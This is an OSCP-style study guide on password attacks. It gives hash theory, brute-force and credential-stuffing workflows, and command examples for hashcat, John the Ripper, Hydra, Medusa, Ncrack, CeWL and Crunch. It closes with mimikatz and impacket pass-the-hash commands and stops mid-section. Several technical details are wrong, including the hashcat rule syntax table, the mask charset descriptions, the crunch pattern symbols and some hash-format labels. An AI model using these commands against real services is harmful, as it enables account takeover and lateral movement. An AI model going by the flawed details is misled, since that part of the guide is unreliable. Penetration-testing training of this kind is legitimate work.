OSCP Study Guide: Password Attacks
Module 12 — The art of breaking, bypassing, and exploiting password-based authentication.
Table of Contents
- Password Hashing Algorithms
- Online Attacks
- Offline Attacks
- Tools Mastery
- Wordlist Creation and Management
- Pass-the-Hash Attacks
- Kerberoasting
- AS-REP Roasting
- Offline Kerberos Ticket Cracking
- NTDS.dit Extraction and Parsing
- Windows Credential Dumping
- Linux Password Cracking
- Password Policy Assessment
- Password Spraying Techniques
- Quick Reference Cheat Sheet
1. Password Hashing Algorithms
1.1 Overview
Password hashing is the process of converting a plaintext password into a fixed-length string (hash).
A good hash function is:
- One-way — cannot be reversed.
- Deterministic — same input always produces same output.
- Fast to compute (for legacy) or intentionally slow (for modern).
The security of a hash depends on:
- Algorithm strength.
- Use of salt (random data added before hashing).
- Use of key stretching (repeated hashing iterations).
1.2 Cryptographic Hash Functions (Legacy — Fast, Weak)
These are general-purpose hash functions. They are NOT designed for passwords.
| Algorithm | Output Size | Speed | Collision Resistance | Status | Password-Safe? |
|---|---|---|---|---|---|
| MD5 | 128-bit (32 hex) | Extremely fast | Broken (2004) | Deprecated | No |
| SHA-1 | 160-bit (40 hex) | Very fast | Broken (2017) | Deprecated | No |
| SHA-256 | 256-bit (64 hex) | Fast | Secure | Current | No (too fast) |
| SHA-512 | 512-bit (128 hex) | Fast | Secure | Current | No (too fast) |
MD5
- Designed by Ron Rivest in 1992.
- Produces 128-bit digest.
- Collision attacks demonstrated in 2004.
- Can be brute-forced at ~100+ GH/s on modern GPU.
- Hashcat mode:
0(MD5),100(MD5($pass)),10(MD5($pass.$salt)).
# Example MD5 hash
echo -n "password" | md5sum
# 5f4dcc3b5aa765d61d8327deb882cf99
SHA-1
- Designed by NSA in 1995.
- Produces 160-bit digest.
- SHAttered attack (2017) — first practical collision.
- Hashcat mode:
100(SHA1),110(SHA1($pass.$salt)).
SHA-256 / SHA-512
- Part of SHA-2 family (2001).
- No known practical attacks.
- Too fast for password storage — billions of guesses/sec on GPU.
- Hashcat mode:
1400(SHA-256),1700(SHA-512).
1.3 Windows-Specific Hashes
LM Hash
| Feature | LM Hash | NTLM Hash |
|---|---|---|
| Full Name | LAN Manager | NT LAN Manager |
| Algorithm | DES-based (weak) | NTMD5 (MD4 of UTF-16LE password) |
| Case | Uppercased, truncated at 14 chars | Full case, no truncation |
| Split | Two 7-byte chunks | Single hash |
| Cracked? | Trivial (seconds) | Depends on complexity |
| Hashcat Mode | 1000 |
1000 (combined) |
| Status | Disabled by default since Win8/2012 | Still in use |
LM Hash weakness:
- Password is uppercased → reduces character space.
- Truncated at 14 characters.
- Split into two 7-character halves.
- Each half cracked independently with DES brute force.
- A blank password produces a known static hash:
aad3b435b51404eeaad3b435b51404ee.
NTLM Hash:
- MD4 hash of the UTF-16LE encoded password.
- MD4 is fast and weak — GPU cracking is very efficient.
- No salt → vulnerable to rainbow tables.
# Example NTLM hash format
username:rid:ntlm_hash:::
Administrator:500:5835048ce94ad0564e29a924a03510ef:::
NTLMv2
- Response-based authentication protocol.
- Uses HMAC-MD5 with challenge-response.
- Hashcat mode:
5600(NTLMv2).
1.4 Modern Password Hashing (Slow, Secure)
These algorithms are designed specifically for passwords. They intentionally slow down brute force.
| Algorithm | Year | Key Feature | Hashcat Support | Recommended? |
|---|---|---|---|---|
| bcrypt | 1999 | Blowfish-based, configurable cost | Mode 3200 |
Yes |
| scrypt | 2009 | Memory-hard, resists GPU/ASIC | Mode 8900 |
Yes |
| Argon2 | 2015 | Winner of Password Hashing Competition | Mode 15100 (Argon2id) |
Best |
| PBKDF2 | 2000 | Password-Based Key Derivation Function | Mode 1100 (HMAC-SHA256) |
Yes |
bcrypt
- Based on Blowfish cipher.
- Built-in salt (128-bit).
- Configurable cost factor (2^cost iterations).
- Higher cost = slower = more secure.
- Typical cost: 10-14.
- Output format:
$2a$,$2b$, or$2y$prefix.
$2b$12$LJ3m4ys3LgBsTsqA2wN5F.vZVp8JqKjH3K5xR9mN2bP4cD6eF8gHi
^ ^ ^--------------------------------^ ^--------------------------^
| | 22-char salt | 31-char hash |
| Cost factor (12)
Algorithm ($2b$)
scrypt
- Memory-hard function.
- Parameters:
N(CPU/memory cost),r(block size),p(parallelization). - Resists GPU and ASIC attacks due to memory requirements.
- Output format:
$7$prefix.
Argon2
- Winner of the 2015 Password Hashing Competition.
- Three variants:
- Argon2i — optimized against side-channel attacks.
- Argon2d — optimized against GPU cracking.
- Argon2id — hybrid (recommended default).
- Parameters: memory cost, time cost, parallelism.
- Output format:
$argon2id$v=19$m=65536,t=3,p=4$...
PBKDF2
- Defined in PKCS #5 v2.0.
- Applies HMAC hash function repeatedly (iterations).
- Common variants:
- PBKDF2-HMAC-SHA1 (hashcat
1100) - PBKDF2-HMAC-SHA256 (hashcat
1110) - PBKDF2-HMAC-SHA512 (hashcat
1120)
- PBKDF2-HMAC-SHA1 (hashcat
- Security depends on iteration count.
- Used in WPA2, SSH keys, OpenSSL.
1.5 Common Hash Formats
| Format | Description | Example Prefix |
|---|---|---|
| Unix MD5 Crypt | Traditional Linux | $1$ |
| Unix BSDI MD5 | BSD variant | $2$ |
| bcrypt | Modern, salted | $2a$, $2b$, $2y$ |
| Unix SHA-256 Crypt | Modern Linux | $5$ |
| Unix SHA-512 Crypt | Modern Linux (default) | $6$ |
| Windows LM:NTLM | SAM/NTDS format | rid:lm:ntlm::: |
| Kerberos 5 TGS-REP | AS-REP / TGT | $krb5tgs$ |
| Kerberos 5 AS-REP | AS-REP Roasting | $krb5asrep$ |
| WPA/WPA2 | WiFi handshake | $WPA$ |
| Django | PBKDF2-SHA256 | pbkdf2_sha256$ |
| WordPress | phpass | $P$ or $H$ |
| Joomla | SHA-256 + salt | hash:salt |
| Drupal | SHA-512 (iterated) | $S$ |
1.6 Hash Identification
Use these tools to identify unknown hash types:
# Hashcat built-in identification
hashcat --help | grep -i "hash modes"
# Online tools
# https://hashes.com/en/tools/hash_identifier
# https://www.onlinehashcrack.com/hash-identifier.php
# Python hash-identifier
pip install hash-identifier
hash-identifier
2. Online Attacks
2.1 Attack Classification
Online attacks target live authentication services. The attacker sends credentials to a running service and observes the response.
| Characteristic | Online Attack | Offline Attack |
|---|---|---|
| Target | Live service | Captured hash |
| Speed | Slow (network-limited) | Fast (GPU-limited) |
| Detection | High (logs, alerts) | Low (no network) |
| Rate limiting | Usually present | N/A |
| Account lockout | Risk | N/A |
| Examples | Hydra, Medusa | Hashcat, John |
2.2 Brute Force Attacks
Definition: Try every possible combination of characters until the correct password is found.
Characteristics:
- Guaranteed success (eventually).
- Extremely slow for long/complex passwords.
- No intelligence — pure enumeration.
Search space calculation:
| Password Length | Charset | Combinations | Time at 10K/s |
|---|---|---|---|
| 4 chars | lowercase (26) | 456,976 | 45 seconds |
| 6 chars | lowercase (26) | 308M | 3.5 days |
| 8 chars | lowercase (26) | 208B | 660 years |
| 8 chars | alphanum (62) | 218T | 690K years |
| 8 chars | full (95) | 6.6Q | 21B years |
| 12 chars | full (95) | 5.4Y | 17T years |
When brute force works:
- Short passwords (≤6 characters).
- Restricted character sets.
- No rate limiting.
- Offline hash cracking (GPU acceleration).
2.3 Dictionary Attacks
Definition: Try passwords from a pre-compiled wordlist.
Characteristics:
- Much faster than brute force.
- Success depends on wordlist quality.
- Real-world passwords are often dictionary words with modifications.
Common wordlists:
| Wordlist | Size | Description |
|---|---|---|
| rockyou.txt | ~14M | Most popular, leaked passwords |
| rockyou-2021.txt | ~33M | Updated version |
| SecLists/Passwords | Various | Curated collection |
| weakpass.com | Various | Community-sourced |
| default-passwords | Small | Default credentials |
Dictionary attack workflow:
flowchart TD
A[Start] --> B[Select Target Service]
B --> C[Choose Wordlist]
C --> D[Configure Attack Tool]
D --> E[Send Credentials]
E --> F{Response?}
F -->|Success| G[Capture Credentials]
F -->|Failure| H{More Words?}
H -->|Yes| E
H -->|No| I[Attack Failed]
G --> J[Pivot / Escalate]
I --> K[Try Different Wordlist]
K --> C
2.4 Credential Stuffing
Definition: Use large lists of leaked username:password pairs from data breaches.
Characteristics:
- Exploits password reuse across sites.
- Uses known valid credentials.
- Often automated at scale.
- Bypasses complexity requirements (passwords are already valid).
Sources of credential lists:
- Have I Been Pwned database.
- Breach compilation dumps.
- Dark web markets.
Attack workflow:
flowchart LR
A[Breach Database] --> B[Extract Credentials]
B --> C[Format: user:pass]
C --> D[Proxy Rotation]
D --> E[Target Service]
E --> F{Valid?}
F -->|Yes| G[Access Account]
F -->|No| H[Next Credential]
H --> D
2.5 Hybrid Attacks
Definition: Combine dictionary words with rules/mutations to generate password variations.
Common mutations:
- Append numbers:
password→password1,password123 - Capitalize first letter:
password→Password - Leet speak:
password→p@ssw0rd - Append special chars:
password→password! - Date patterns:
password→password2024
Hybrid attack types in Hashcat:
| Type | Description | Example |
|---|---|---|
| Dictionary + Mask | Word + pattern | password + ?d?d?d?d → password1234 |
| Mask + Dictionary | Pattern + word | ?d?d?d?d + password → 1234password |
| Rule-based | Apply rules to words | password → P@ssw0rd! |
2.6 Smart Brute Force
Definition: Intelligent brute force that uses heuristics to prioritize likely passwords.
Techniques:
- Markov chains — predict next character based on previous.
- Frequency analysis — try common patterns first.
- Context-aware — use target info (company name, username).
- Adaptive — learn from failed attempts.
John the Ripper incremental modes:
alpha— all ASCII characters.alnum— alphanumeric only.numeric— digits only.all— full ASCII range.
3. Offline Attacks
3.1 Hash Cracking Methodology
Offline attacks work on captured hashes. No interaction with the target system.
Attack workflow:
flowchart TD
A[Obtain Hash] --> B[Identify Hash Type]
B --> C[Select Cracking Tool]
C --> D[Choose Attack Mode]
D --> E{Attack Strategy}
E -->|1| F[Dictionary Attack]
E -->|2| G[Rule-Based Attack]
E -->|3| H[Mask Attack]
E -->|4| I[Brute Force]
E -->|5| J[Rainbow Table]
F --> K{Cracked?}
G --> K
H --> K
I --> K
J --> K
K -->|Yes| L[Recover Plaintext]
K -->|No| M[Try Next Strategy]
M --> E
L --> N[Validate Result]
Strategy priority (fastest to slowest):
| Priority | Strategy | Speed | Success Rate |
|---|---|---|---|
| 1 | Rainbow Table | Instant | Low (salted hashes) |
| 2 | Dictionary | Fast | Medium-High (common passwords) |
| 3 | Dictionary + Rules | Fast | High (modified passwords) |
| 4 | Mask Attack | Medium | Medium (known patterns) |
| 5 | Brute Force | Slow | 100% (eventually) |
3.2 Rainbow Tables
Definition: Pre-computed chains of hash → plaintext mappings.
How they work:
- Trade storage space for computation time.
- Build chains:
password → hash → reduction → new password → hash → ... - Store only start and end of each chain.
- To crack: compute chain from hash, look up end point, replay chain.
Advantages:
- Near-instant cracking for unsalted hashes.
- No GPU needed at attack time.
Disadvantages:
- Useless against salted hashes (each salt needs separate table).
- Massive storage requirements.
- Pre-computation takes time.
Tools:
- RainbowCrack — original implementation.
- Ophcrack — Windows LM/NTLM focused.
Rainbow tables are effective against:
- LM Hash (unsalted, weak).
- MD5/SHA1 without salt.
- NTLM (unsalted).
Rainbow tables are ineffective against:
- bcrypt (salted).
- SHA-512 crypt (salted).
- Any salted hash function.
3.3 Rule-Based Attacks
Definition: Apply transformation rules to dictionary words to generate password variations.
Why rules work:
- Users modify dictionary words predictably.
- Common patterns: capitalization, numbers, leet speak.
- A small rule file can generate millions of candidates.
Hashcat rule syntax:
| Rule | Description | Example |
|---|---|---|
l |
Lowercase first char | PASSWORD → pASSWORD |
u |
Uppercase first char | password → Password |
c |
Capitalize (toggle case) | password → Password |
r |
Reverse word | password → drowssap |
d |
Duplicate word | password → passwordpassword |
p |
Permute two chars | password → apssword |
sXY |
Replace char X with Y | sao → p@ssword |
i |
Increment first char | password → qassword |
I |
Decrement first char | qassword → password |
+$ |
Append string | +123 → password123 |
^$ |
Prepend string | ^! → !password |
oN |
Insert char N at position | o3! → pas!sword |
DN |
Delete char at position | d1 → assword |
xN |
Swap first char with Nth | x1 → apssword |
Built-in Hashcat rules:
best64.rule— 64 rules, good starting point.one337.rule— leet speak substitutions.leet337.rule— extended leet speak.d3ad0ne.rule— comprehensive ruleset.t00m53.rule— another popular ruleset.
Custom rule creation:
# Example custom rule file: my_rules.rule
# Capitalize first letter, append 2024
c
+2024
# Leet speak: a->@, e->3, o->0, s->$
s a @
s e 3
s o 0
s s $
4. Tools Mastery
4.1 Hashcat
Overview:
- Fastest password cracker available.
- GPU-accelerated (CUDA, OpenCL, HIP).
- Supports 350+ hash types.
- Cross-platform (Linux, Windows, macOS).
Installation:
# Linux
git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
# Windows - download binary from GitHub Releases
# https://github.com/hashcat/hashcat/releases
# Verify installation
hashcat --version
hashcat --devices
Hashcat attack modes:
| Mode | Name | Description |
|---|---|---|
0 |
Straight | Dictionary attack |
1 |
Combination | Two wordlists combined |
3 |
Brute-force | Mask attack |
6 |
Hybrid: Dictionary + Mask | Wordlist + mask suffix |
7 |
Hybrid: Mask + Dictionary | Mask prefix + wordlist |
9 |
Associate | Dictionary associated with target |
Hashcat command structure:
hashcat [options] hash_file [dictionary|mask]
Essential options:
| Option | Description |
|---|---|
-m |
Hash mode (hash type) |
-a |
Attack mode |
-o |
Output file for cracked passwords |
-r |
Rule file |
--pot-file |
Custom pot file (stores results) |
--session |
Session name (for resume) |
-w |
Work profile (0=safe, 1=normal, 2=aggressive, 3=ultra) |
--force |
Force run (ignore warnings) |
--status |
Show status |
--status-timer |
Status update interval (seconds) |
-n |
Threads per kernel |
-g |
Workspace size |
--remove |
Remove cracked hashes from input |
--hw-temp-threshold |
Hardware temperature threshold |
Common commands:
# Dictionary attack on NTLM hashes
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt
# Dictionary + rules on NTLM
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule
# Mask attack (8-char lowercase + digits)
hashcat -m 1000 -a 3 ntlm_hashes.txt ?l?l?l?l?d?d?d?d
# Hybrid: dictionary + 4-digit suffix
hashcat -m 1000 -a 6 ntlm_hashes.txt rockyou.txt ?d?d?d?d
# Crack WPA2 handshake
hashcat -m 22000 -a 0 handshake.hc22000 rockyou.txt
# Resume a session
hashcat -m 1000 -a 0 -r rules/best64.rule --restore ntlm_hashes.txt rockyou.txt
# Show cracked passwords
hashcat -m 1000 -a 0 --show ntlm_hashes.txt rockyou.txt
# Benchmark GPU speed
hashcat -m 1000 -b
# Crack with multiple rule files
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule -r rules/one337.rule
Hashcat mask characters:
| Mask | Charset | Characters |
|---|---|---|
?l |
Lowercase | a-z |
?u |
Uppercase | A-Z |
?d |
Digits | 0-9 |
?s |
Special | !@#$%^&*()_+-=[]{} |
?a |
Alphanumeric | a-zA-Z0-9 |
?b |
All bytes | 0x00-0xFF |
Custom charset definition:
# Define custom charset
hashcat -m 1000 -a 3 hashes.txt "?1?1?1?1" -1 abcdef
# Use custom charset file
hashcat -m 1000 -a 3 hashes.txt "?1?1?1?1" --custom-charset1 "ABCDEF123456"
Hashcat optimization:
# Use all GPUs
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -w 3 --force
# Limit to specific GPU
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -w 3 --opencl-device-types 1 --devices 1
# Aggressive with temperature control
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -w 3 --hw-temp-threshold 80
Hashcat pot file:
- Stores cracked hash:password pairs.
- Default location:
~/.hashcat/potfile. - Prevents re-cracking known hashes.
# View pot file
cat ~/.hashcat/potfile
# Clear pot file
> ~/.hashcat/potfile
# Use custom pot file
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --pot-file /tmp/my_pot.potfile
4.2 John the Ripper
Overview:
- Classic password cracker.
- CPU-based (no GPU acceleration).
- Two versions:
- JtR Classic — original version.
- JtR Community — enhanced, actively maintained.
- JtR Jumbo — extended format support.
Installation:
# Linux
git clone https://github.com/openwall/john.git
cd john/src
./configure
make -s clean linux-x86-64
# Verify
./john --version
John command structure:
john [options] hash_file
Essential options:
| Option | Description |
|---|---|
--wordlist= |
Specify wordlist file |
--format= |
Specify hash format |
--rules |
Enable wordlist rules |
--incremental |
Brute force mode |
--mask= |
Mask attack |
--show |
Show cracked passwords |
--pot= |
Custom pot file |
--session= |
Session name |
--status |
Show status |
--restore |
Restore session |
--test |
Test/benchmark |
Common commands:
# Auto-detect format and crack with default wordlist
john hashes.txt
# Specify wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Specify format explicitly
john --format=nt hashes.txt
# Enable rules
john --wordlist=rockyou.txt --rules hashes.txt
# Show cracked passwords
john --show hashes.txt
# Incremental brute force
john --incremental:alpha hashes.txt
# Mask attack
john --format=nt --mask=?l?l?l?l?d?d?d?d hashes.txt
# Benchmark
john --test --format=nt
John hash formats:
| Format | Description |
|---|---|
nt |
NTLM hash |
lm |
LM hash |
md5crypt |
Unix MD5 ($1$) |
sha256crypt |
Unix SHA-256 ($5$) |
sha512crypt |
Unix SHA-512 ($6$) |
bcrypt |
bcrypt ($2a$, $2b$, $2y$) |
sshprivatekey |
SSH private key passphrase |
wpapsk |
WPA/WPA2 PSK |
django |
Django PBKDF2 |
hmac-sha256 |
HMAC-SHA256 |
krb5tgs |
Kerberos TGS-REP |
krb5asrep |
Kerberos AS-REP |
List all supported formats:
john --list=formats
John incremental modes:
# Edit /etc/john/john.conf or ~/.john/john.conf
# Incremental:alpha - all printable ASCII
# Incremental:alnum - alphanumeric only
# Incremental:numeric - digits only
# Incremental:all - full byte range
john --incremental:alpha hashes.txt
John rule configuration:
# Rules are in john.conf under [List.Rules:Wordlist]
# Enable with --rules flag
# Single mode rules (apply to each word once)
# Triple mode rules (apply combinations)
john --wordlist=rockyou.txt --rules:Single hashes.txt
john --wordlist=rockyou.txt --rules:Triple hashes.txt
4.3 Hydra
Overview:
- Online password cracker.
- Supports 50+ protocols.
- Fast, parallelized connections.
- Part of THC Hydra suite.
Installation:
# Linux
sudo apt install hydra
# Verify
hydra -h
Hydra command structure:
hydra [options] <target> <service> [options]
Essential options:
| Option | Description |
|---|---|
-l |
Single username |
-L |
Username wordlist |
-p |
Single password |
-P |
Password wordlist |
-t |
Number of parallel tasks |
-s |
Non-default port |
-v / -V |
Verbose / show each login attempt |
-f |
Stop at first valid credential |
-e |
Extra attempts (n=null, r=reversed, s=empty) |
-o |
Output file |
-C |
Credential file (user:pass format) |
-m |
Service-specific options |
-w |
Max wait time per attempt |
-W |
Max wait time between attempts |
-u |
Cycle mode (try all passwords per user) |
-M |
Target list (multiple targets) |
-vV |
Show all attempts and responses |
Supported protocols:
| Protocol | Module | Default Port |
|---|---|---|
| FTP | ftp |
21 |
| SSH | ssh |
22 |
| Telnet | telnet |
23 |
| HTTP-GET | http-get |
80/443 |
| HTTP-POST | http-post |
80/443 |
| HTTPS | https |
443 |
| SMB | smb |
445 |
| RDP | rdp |
3389 |
| MySQL | mysql |
3306 |
| PostgreSQL | postgres |
5432 |
| MSSQL | mssql |
1433 |
| SMTP | smtp |
25 |
| POP3 | pop3 |
110 |
| IMAP | imap |
143 |
| VNC | vnc |
5900 |
| SNMP | snmp |
161 |
| Rexec | rexec |
512 |
| Rlogin | rlogin |
513 |
| CVS | cvs |
2401 |
| SIP | sip |
5060 |
| Teamspeak | teamspeak |
51214 |
| Redis | redis |
6379 |
| MongoDB | mongodb |
27017 |
Common commands:
# SSH brute force with single user
hydra -l admin -P rockyou.txt ssh://192.168.1.10
# SSH with user and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.10
# FTP brute force
hydra -l user -P rockyou.txt ftp://192.168.1.10
# HTTP POST form login
hydra -l admin -P rockyou.txt -V 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login Failed"
# HTTP GET with custom path
hydra -l admin -P rockyou.txt 192.168.1.10 http-get "/admin/"
# HTTPS
hydra -l admin -P rockyou.txt -s 443 192.168.1.10 https
# SMB
hydra -l administrator -P rockyou.txt smb://192.168.1.10
# RDP
hydra -l administrator -P rockyou.txt rdp://192.168.1.10
# MySQL
hydra -l root -P rockyou.txt mysql://192.168.1.10
# Multiple targets
hydra -M targets.txt -l admin -P rockyou.txt ssh
# Stop at first success
hydra -l admin -P rockyou.txt -f ssh://192.168.1.10
# Save results
hydra -l admin -P rockyou.txt -o results.txt ssh://192.168.1.10
# Cycle mode (all passwords per user before next user)
hydra -L users.txt -P passwords.txt -u ssh://192.168.1.10
# Increase parallel tasks
hydra -l admin -P rockyou.txt -t 64 ssh://192.168.1.10
HTTP form login examples:
# Basic POST form
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/index.php:username=^USER^&password=^PASS^:Invalid credentials"
# With custom headers
hydra -l admin -P rockyou.txt -m "Cookie: session=abc123" 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
# JSON API
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-json "/api/login:^JSON^:error"
4.4 Medusa
Overview:
- Online password cracker.
- Similar to Hydra but simpler interface.
- Fewer protocols but very reliable.
- Good for SSH, FTP, HTTP, SMB.
Installation:
sudo apt install medusa
Medusa command structure:
medusa [options]
Essential options:
| Option | Description |
|---|---|
-h |
Target host |
-u |
Single username |
-U |
Username wordlist |
-p |
Single password |
-P |
Password wordlist |
-M |
Module (service) |
-n |
Port number |
-t |
Number of workers |
-T |
Total number of targets |
-O |
Output file |
-o |
Output format (1=simple, 2=verbose, 3=debug) |
-e |
Extra attempts (n=none, s=blank, b=both) |
-f |
Stop at first valid credential |
-C |
Credential file (user:pass) |
-m |
Module options |
Common commands:
# SSH brute force
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh
# FTP with custom port
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ftp -n 2121
# HTTP form
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M http -m "/login:,u=,p=,s=200"
# SMB
medusa -h 192.168.1.10 -U users.txt -P passwords.txt -M smbnt
# Multiple workers
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -t 10
# Stop at first success
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh -f
4.5 Ncrack
Overview:
- Network authentication cracker.
- Part of the Nmap project.
- Supports SSH, FTP, HTTP, HTTPS, SMB, VNC, Telnet, RDP, MySQL, PostgreSQL.
- Uses libnmap for scanning integration.
Installation:
sudo apt install ncrack
Ncrack command structure:
ncrack [options] <target>
Essential options:
| Option | Description |
|---|---|
-u |
Single username |
-p |
Single password |
-U |
Username wordlist |
-P |
Password wordlist |
-T |
Timing template (1-5, like nmap) |
-t |
Max connections per target |
-c |
Credentials file (user:pass) |
-6 |
IPv6 |
-v |
Verbose |
--resume |
Resume from state file |
--delay |
Delay between attempts |
Common commands:
# SSH brute force
ncrack -u admin -P rockyou.txt ssh://192.168.1.10
# Multiple protocols
ncrack -U users.txt -P passwords.txt ssh://192.168.1.10 ftp://192.168.1.10
# From nmap output
ncrack -c creds.txt -T4 -p 22,80,443 192.168.1.10
# Aggressive timing
ncrack -U users.txt -P passwords.txt -T5 ssh://192.168.1.10
4.6 Tool Comparison
| Feature | Hashcat | John | Hydra | Medusa | Ncrack |
|---|---|---|---|---|---|
| Type | Offline | Offline | Online | Online | Online |
| GPU Support | Yes | No | N/A | N/A | N/A |
| Speed | Very Fast | Medium | Slow | Slow | Medium |
| Protocols | N/A | N/A | 50+ | 15+ | 15+ |
| Hash Types | 350+ | 200+ | N/A | N/A | N/A |
| Rules | Yes | Yes | No | No | No |
| Mask Attack | Yes | Yes | No | No | No |
| Best For | Hash cracking | Hash cracking | Online attacks | Simple online | Fast online |
5. Wordlist Creation and Management
5.1 Why Custom Wordlists Matter
Default wordlists cover common passwords but miss:
- Company-specific terms.
- Brand names and products.
- Internal jargon.
- Target-specific patterns.
- Industry-specific terminology.
Success rate improvement with custom wordlists:
| Wordlist Type | Coverage | Success Rate |
|---|---|---|
| rockyou.txt | General | 30-50% |
| + Custom rules | Modified | 50-70% |
| + Target-specific | Contextual | 70-85% |
| + Mask attacks | Pattern-based | 85-95% |
5.2 CeWL (Custom Word List generator)
Overview:
- Spider-target websites to extract unique words.
- Generates context-aware wordlists.
- Ruby-based tool.
Installation:
git clone https://github.com/digininja/CeWL.git
cd CeWL
bundle install
Common options:
| Option | Description |
|---|---|
-d |
Depth of spidering |
-b |
Use word breaker |
-m |
Minimum word length |
-w |
Output file |
-c |
Cookie string |
-x |
User agent |
-v |
Verbose |
-i |
Ignore HTTPS errors |
-r |
Regex pattern to match |
-a |
Include HTML attributes |
Common commands:
# Basic usage
cewl https://target.com -w target_words.txt
# Deep spider with minimum word length
cewl https://target.com -d 3 -m 5 -w target_words.txt
# With word breaker (splits compound words)
cewl https://target.com -b -w target_words.txt
# With authentication
cewl https://target.com -c "session=abc123" -w target_words.txt
# Include HTML attributes
cewl https://target.com -a -w target_words.txt
# With custom user agent
cewl https://target.com -x "Mozilla/5.0" -w target_words.txt
5.3 Crunch
Overview:
- Generate wordlists with specific patterns.
- Create brute-force lists with custom character sets.
- Control length, patterns, and output.
Installation:
sudo apt install crunch
Common options:
| Option | Description |
|---|---|
<min> |
Minimum length |
<max> |
Maximum length |
<charset> |
Character set to use |
-o |
Output file |
-t |
Pattern/mask |
-f |
Charset file |
-b |
Max file size (splits output) |
-l |
Custom charset |
-p |
Permutation mode |
-d |
Max repeat of same char |
-z |
Compress output (gz, bz2, lzma, xz) |
Common commands:
# All lowercase 4-6 char passwords
crunch 4 6 -o wordlist.txt
# All alphanumeric 8 char passwords
crunch 8 8 -f /usr/share/crunch/charset.txt alpha -o wordlist.txt
# Specific pattern: 3 lowercase + 4 digits + 1 special
crunch 8 8 -t llldddd^ -o wordlist.txt
# Custom charset
crunch 6 6 -l abcdef123456 -o wordlist.txt
# Pattern with fixed prefix
crunch 8 8 -t Company@@@@ -o wordlist.txt
# Permutation of specific characters
crunch 7 7 -p C o m p a n y -o wordlist.txt
# Limit file size (creates multiple files)
crunch 8 8 -b 100MB -o wordlist.txt
# Compress output
crunch 8 8 -t llllllll -o wordlist.txt -z gzip
# Max 2 repeats of same character
crunch 6 6 -d 2 -o wordlist.txt
Crunch pattern characters:
| Pattern | Meaning |
|---|---|
@ |
Iterating uppercase (A-Z) |
, |
Iterating lowercase (a-z) |
% |
Iterating numeric (0-9) |
^ |
Iterating special chars |
a |
Literal character ‘a’ |
5.4 Wordlist Manipulation
Essential commands:
# Remove duplicates
sort -u wordlist.txt -o unique_wordlist.txt
# Sort by length
awk '{ print length, $0 }' wordlist.txt | sort -n | cut -d' ' -f2- > sorted_wordlist.txt
# Filter by length (min 8, max 12)
awk 'length >= 8 && length <= 12' wordlist.txt > filtered.txt
# Remove non-ASCII characters
grep -P '[^\x00-\x7F]' -v wordlist.txt > ascii_only.txt
# Convert to lowercase
tr '[:upper:]' '[:lower:]' < wordlist.txt > lowercase.txt
# Count lines
wc -l wordlist.txt
# Remove empty lines
sed -i '/^$/d' wordlist.txt
# Combine wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
# Extract first N lines
head -n 100000 wordlist.txt > top100k.txt
# Remove words containing specific pattern
grep -v "pattern" wordlist.txt > filtered.txt
# Extract unique words by frequency
sort wordlist.txt | uniq -c | sort -rn > frequency.txt
5.5 Custom Rule Creation
Hashcat rule file format:
# My Custom Rules
# Rule 1: Capitalize first letter
c
# Rule 2: Append year
+2024
# Rule 3: Leet speak substitutions
s a @
s e 3
s o 0
s s $
s i 1
# Rule 4: Append common suffixes
+!
+!1
+123
+1234
# Rule 5: Prepend exclamation
^!
# Rule 6: Reverse and capitalize
r
c
Recommended rule files:
| File | Rules | Description |
|---|---|---|
best64.rule |
64 | Quick, effective starting point |
one337.rule |
100+ | Leet speak focus |
d3ad0ne.rule |
1000+ | Comprehensive |
t00m53.rule |
500+ | Popular community ruleset |
factory-rules/ |
Multiple | Hashcat bundled rules |
Creating effective custom rules:
# Strategy: Think like the target user
# 1. What company do they work for?
+CompanyName
+companyname
+COMPANYNAME
# 2. What year is it?
+2024
+2025
+24
+25
# 3. Common patterns
c+! # Capitalize + append !
c+123 # Capitalize + append 123
c+2024 # Capitalize + append year
u+! # Uppercase first + append !
s a @ # Leet speak
s e 3
6. Pass-the-Hash Attacks
6.1 Concept
Definition: Authenticate to a remote system using the NTLM hash directly, without knowing the plaintext password.
How it works:
- NTLM authentication uses the hash, not the plaintext.
- The client sends a challenge-response computed from the hash.
- If you have the hash, you can compute the same response.
- No need to crack the hash.
Requirements:
- Valid NTLM hash of the target account.
- Network access to the target system.
- The account must have permissions on the target.
Limitations:
- Cannot logon locally (interactive logon requires plaintext).
- Cannot use with Credential Guard enabled systems.
- Cannot use with LSA Protection enabled.
- Some tools require the plaintext for certain operations.
6.2 Attack Workflow
flowchart TD
A[Obtain NTLM Hash] --> B[Choose PtH Tool]
B --> C[Configure Target]
C --> D[Execute Pass-the-Hash]
D --> E{Success?}
E -->|Yes| F[Remote Access]
E -->|No| G[Hash Invalid / No Access]
F --> H[Lateral Movement]
H --> I[Domain Admin?]
I -->|Yes| J[Domain Dominance]
I -->|No| K[Continue Lateral Movement]
6.3 Tools and Commands
Mimikatz
# Basic Pass-the-Hash with psexec
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:5835048ce94ad0564e29a924a03510ef
# Execute command on remote system
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:HASH /run:psexec.py CORP\Administrator@192.168.1.10 cmd.exe
Impacket
# psexec.py with hash
psexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
# wmiexec.py (stealthier, no file drop)
wmiexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
# smbexec.py
